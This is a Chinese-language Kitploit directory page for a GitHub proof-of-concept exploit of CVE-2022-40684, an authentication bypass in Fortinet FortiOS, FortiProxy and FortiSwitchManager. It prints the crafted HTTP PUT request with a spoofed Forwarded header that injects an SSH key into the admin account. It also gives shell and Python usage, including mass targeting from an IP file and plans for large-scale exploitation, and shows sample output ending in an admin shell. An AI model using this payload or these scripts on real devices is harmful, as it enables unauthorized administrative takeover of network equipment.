Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-40684 — 针对Fortinet FortiOS、FortiProxy和FortiSwitchManager中CVE-2022-40684认证绕过漏洞的概念验证利用工具。通过精心构造的HTTP PUT请求注入SSH密钥以获取管理员访问权限。 | Kitploit
工具/GitHubGitHub/iveresk/cve-2022-40684
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubiveresk/cve-2022-40684

CVE-2022-40684

针对Fortinet FortiOS、FortiProxy和FortiSwitchManager中CVE-2022-40684认证绕过漏洞的概念验证利用工具。通过精心构造的HTTP PUT请求注入SSH密钥以获取管理员访问权限。

查看仓库
1173年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-40684,作者:1vere$k

目前它是一个针对 Fortinet FortiOS、FortiProxy 和 FortiSwitchManager 设备的 CVE-2022-40684 概念验证副本。
从 https://github.com/horizon3ai/CVE-2022-40684 复制而来

分析

该利用工具使用简单载荷:

root@kitploit:~
		PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Report Runner
        Content-Type: application/json
        Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
        Content-Length: 610
        {
        "ssh-public-key1": "fake-key"
        }

摘要

此概念验证滥用身份验证绕过漏洞,为指定用户设置 SSH 密钥。

未来计划

将其发展为支持多目标、多服务器的全规模利用工具,用于大规模利用。

CLI 用法

root@kitploit:~
1. chmod +x cve-2022-40684.sh
2. ./cve-2022-40684 <目标IP>
或
2. ./cve-2022-40684 <文件名>

示例:
./cve-2022-40684.sh ips.txt

PyUsage

python3 CVE-2022-40684.py -t <目标IP> --username admin --key-file ~/.ssh/id_rsa.pub
示例:

root@kitploit:~
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 # 
config      Configure object.
get         Get dynamic and system information.
show        Show configuration.
diagnose    Diagnose facility.
execute     Execute static commands.
alias       Execute alias commands.
exit        Exit the CLI.
下载工具